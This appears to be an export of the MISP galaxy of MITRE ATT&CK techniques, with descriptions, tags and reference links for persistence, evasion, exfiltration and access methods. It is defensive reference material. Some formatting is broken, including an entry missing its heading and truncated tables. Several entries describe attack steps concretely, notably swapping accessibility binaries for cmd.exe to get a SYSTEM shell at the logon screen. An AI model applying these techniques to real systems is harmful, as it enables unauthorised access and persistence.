- revoked-by: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 5700. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

2706
Weaken Encryption - T1600

Adversaries may compromise a network device's encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)

Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.

Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)

The tag is: `misp-galaxy:mitre-attack-pattern="Weaken Encryption - T1600"`

Table 5701. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1600">https://attack.mitre.org/techniques/T1600</a></td>
<td></td>
</tr>
</tbody>
</table>

Indicator Removal - T1070

Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of
artifact (such as command or login history) are often specific to each platform.

Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. This may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070"

Table 5702. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1070">https://attack.mitre.org/techniques/T1070</a></td>
</tr>
</tbody>
</table>

**Fallback Channels - T1008**

Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.

The tag is: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008"

Table 5703. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1008">https://attack.mitre.org/techniques/T1008</a></td>
</tr>
</tbody>
</table>

**Binary Padding - T1009**

Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

The tag is: misp-galaxy:mitre-attack-pattern="Binary Padding - T1009"

View relationships graph

Binary Padding - T1009 has relationships with:
Brute Force - T1110

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.

The tag is: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"`

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security. Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query
Registry\(https://attack.mitre.org/techniques/T1012\) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: misp-galaxy:mitre-attack-pattern="Query Registry - T1012"

Table 5706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1012">https://attack.mitre.org/techniques/T1012</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Windows_Registry">https://en.wikipedia.org/wiki/Windows_Registry</a></td>
</tr>
</tbody>
</table>

Remote Services - T1021

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.

Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)

The tag is: misp-galaxy:mitre-attack-pattern="Remote Services - T1021"

Table 5707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1021">https://attack.mitre.org/techniques/T1021</a></td>
</tr>
</tbody>
</table>
Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: misp-galaxy:mitre-attack-pattern="Web Service - T1102"

Table 5708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1102">https://attack.mitre.org/techniques/T1102</a></td>
</tr>
</tbody>
</table>

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code>` or `<code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code>` are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"
AppInit DLLs - T1103 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"

Table 5709. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1103">https://attack.mitre.org/techniques/T1103</a></td>
</tr>
<tr>
<td><a href="https://support.microsoft.com/en-us/kb/197571">https://support.microsoft.com/en-us/kb/197571</a></td>
</tr>
</tbody>
</table>

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in `<code>C:\Windows\System32</code>` and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to `<code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port
- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: `misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"`

Port Monitors - T1013 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Port Monitors - T1547.010" with estimative-language:likelihood-probability="almost-certain"
Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are `<code>C:\Windows\System32\sethc.exe</code>`, launched when the shift key is pressed five times and `<code>C:\Windows\System32\utilman.exe</code>`, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in `<code>%systemdir%</code>`, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., `<code>C:\Windows\System32\utilman.exe</code>`) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

- On-Screen Keyboard: `<code>C:\Windows\System32\osk.exe</code>`
- Magnifier: `<code>C:\Windows\System32\Magnify.exe</code>`
Narrator: <code>C:\Windows\System32\Narrator.exe</code>

Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>

App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"

View relationships graph

Accessibility Features - T1015 has relationships with:


Table 5711. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/">http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1015">https://attack.mitre.org/techniques/T1015</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/558.html">https://capec.mitre.org/data/definitions/558.html</a></td>
</tr>
<tr>
<td><a href="https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom">https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom</a></td>
</tr>
</tbody>
</table>

**Clipboard Modification - T1510**

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)

Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"
Clipboard Modification - T1510 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1641.001"
  with estimative-language:likelihood-probability="almost-certain"

Table 5712. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1510">https://attack.mitre.org/techniques/T1510</a></td>
</tr>
<tr>
<td><a href="https://developer.android.com/about/versions/10/privacy/changes#clipboard-data">https://developer.android.com/about/versions/10/privacy/changes#clipboard-data</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?i=17517750">https://vms.drweb.com/virus/?i=17517750</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.com/virus/?i=17517761">https://vms.drweb.com/virus/?i=17517761</a></td>
</tr>
<tr>
<td><a href="https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/">https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/">https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/</a></td>
</tr>
</tbody>
</table>

Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

The tag is: misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"

View relationships graph

Plist Modification - T1150 has relationships with:


Table 5713. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1150">https://attack.mitre.org/techniques/T1150</a></td>
</tr>
</tbody>
</table>
Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources. (Citation: Linux man-pages: systemd January 2014) (Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the `<code>/etc/systemd/system</code>` and `<code>/usr/lib/systemd/system</code>` directories and have the file extension `<code>.service</code>`. Each service unit file may contain numerous directives that can execute system commands.

- **ExecStart, ExecStartPre, and ExecStartPost directives** cover execution of commands when a service is started manually by `systemctl` or on system start if the service is set to automatically start.
- **ExecReload directive** covers when a service restarts.
- **ExecStop and ExecStopPost directives** cover when a service is stopped or manually by `systemctl`.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot. (Citation: Anomali Rocke March 2019) (Citation: gist Arch package compromise 10JUL2018) (Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018) (Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the `<code>/etc/systemd/system</code>` and `<code>/usr/lib/systemd/system</code>` directories, low privilege users can create/modify service unit files in directories such as `<code>~/.config/systemd/user/</code>` to achieve user-level persistence. (Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: **misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"**

View relationships graph

Systemd Service - T1501 has relationships with:


Table 5714. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Shared Webroot - T1051

This technique has been deprecated and should no longer be used.

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"

Table 5715. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://httpd.apache.org/docs/2.4/getting-started.html#content">http://httpd.apache.org/docs/2.4/getting-started.html#content</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1051">https://attack.mitre.org/techniques/T1051</a></td>
</tr>
<tr>
<td><a href="https://capec.mitre.org/data/definitions/563.html">https://capec.mitre.org/data/definitions/563.html</a></td>
</tr>
<tr>
<td><a href="https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/">https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/</a></td>
</tr>
</tbody>
</table>

Native API - T1106

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as `<code>NtCreateProcess</code>`) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API `<code>CreateProcess()</code>` or GNU `<code>fork()</code>` will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Native API - T1106"

Table 5716. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1106">https://attack.mitre.org/techniques/T1106</a></td>
</tr>
<tr>
<td><a href="https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework">https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework</a></td>
</tr>
<tr>
<td><a href="https://undocumented.ntinternals.net/">https://undocumented.ntinternals.net/</a></td>
</tr>
</tbody>
</table>
Deploy Container - T1610

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

Containers can be deployed by various means, such as via Docker's `create` and `start` APIs or via a web application such as the Kubernetes dashboard or Kubeflow. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.

The tag is: `misp-galaxy:mitre-attack-pattern="Deploy Container - T1610"

Table 5717. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1610">https://attack.mitre.org/techniques/T1610</a></td>
</tr>
<tr>
<td><a href="https://blog.aquasec.com/malicious-container-image-docker-container-host">https://blog.aquasec.com/malicious-container-image-docker-container-host</a></td>
</tr>
<tr>
<td><a href="https://docs.docker.com/engine/api/v1.41/#tag/Container">https://docs.docker.com/engine/api/v1.41/#tag/Container</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/">https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/</a></td>
</tr>
<tr>
<td><a href="https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/">https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/</a></td>
</tr>
</tbody>
</table>

Launch Daemon - T1160

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in `<code>/System/Library/LaunchDaemons</code>` and `<code>/Library/LaunchDaemons</code>` (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware...
Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

The tag is: *misp-galaxy:mitre-attack-pattern*="Launch Daemon - T1160"

View relationships graph

Launch Daemon - T1160 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern*="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"

Table 5718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1160">https://attack.mitre.org/techniques/T1160</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html</a></td>
</tr>
</tbody>
</table>

File Deletion - T1107

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

The tag is: *misp-galaxy:mitre-attack-pattern*="File Deletion - T1107"

View relationships graph

File Deletion - T1107 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern*="File Deletion - T1070.004" with estimative-
Redundant Access - T1108

This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.

The tag is: misp-galaxy:mitre-attack-pattern="Redundant Access - T1108"

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses.
and integrity checks.

The tag is: misp-galaxy:mitre-attack-pattern="Component Firmware - T1109"

View relationships graph

Component Firmware - T1109 has relationships with:


Table 5721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1109">https://attack.mitre.org/techniques/T1109</a></td>
</tr>
<tr>
<td><a href="https://www.smartmontools.org/">https://www.smartmontools.org/</a></td>
</tr>
</tbody>
</table>

**System Firmware - T1019**

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: misp-galaxy:mitre-attack-pattern="System Firmware - T1019"

View relationships graph

System Firmware - T1019 has relationships with:


Table 5722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html">http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html</a></td>
</tr>
<tr>
<td><a href="http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about">http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about</a></td>
</tr>
</tbody>
</table>
Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)

The tag is: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022"

View relationships graph

Data Encrypted - T1022 has relationships with:


Table 5723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf">http://www.netsec.colostate.edu/zhang/DetectingEncryptedBotnetTraffic.pdf</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1022">https://attack.mitre.org/techniques/T1022</a></td>
</tr>
</tbody>
</table>

Data Hiding - T1320

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320).

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields...
can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

